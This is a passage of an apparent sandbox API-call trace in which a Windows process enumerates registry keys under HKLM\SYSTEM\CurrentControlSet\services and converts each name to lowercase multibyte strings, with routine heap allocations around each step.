lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0245.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.860] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0245.860] RegCloseKey (hKey=0x80000002) returned 0x0 [0245.861] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0245.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0245.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1970, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0245.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.861] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.861] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.861] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.861] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0245.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0245.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1b68, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0245.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.861] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.861] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.861] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.861] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0245.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0245.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1970, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0245.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.861] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.861] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.861] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.861] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0245.861] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0245.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1b68, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0245.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.862] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.862] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.862] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.862] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0245.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0245.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1970, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0245.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.862] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.862] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.862] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.862] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0245.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0245.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1b68, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0245.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.862] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.862] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.862] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.862] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0245.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0245.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0245.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.862] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.863] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.863] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.863] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0245.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0245.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1b68, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0245.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.863] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.863] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.863] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.863] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0245.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0245.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1970, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0245.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.863] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.863] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.863] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.863] RegOpenKeyExW (in: hKey=0x154, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0245.863] RegCloseKey (hKey=0x154) returned 0x0 [0245.863] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0245.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0245.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0245.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.863] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.864] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.864] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.864] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0245.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0245.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1970, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0245.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.864] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.864] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.864] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.864] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0245.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0245.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1b68, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0245.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.864] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.864] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.864] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.864] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0245.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0245.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0245.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.864] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.864] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.864] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.864] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0245.864] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0245.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0245.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.865] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0245.865] RegCloseKey (hKey=0x14c) returned 0x0 [0245.865] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0245.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0245.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1970, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0245.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.865] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0245.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0245.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1b68, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0245.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.865] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0245.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0245.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1970, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0245.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.866] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0245.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0245.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1b68, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0245.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.866] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0245.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0245.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0245.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1970, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0245.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0245.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0245.866] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0245.866] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0245.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0245.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0245.866] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0245.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1b68, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 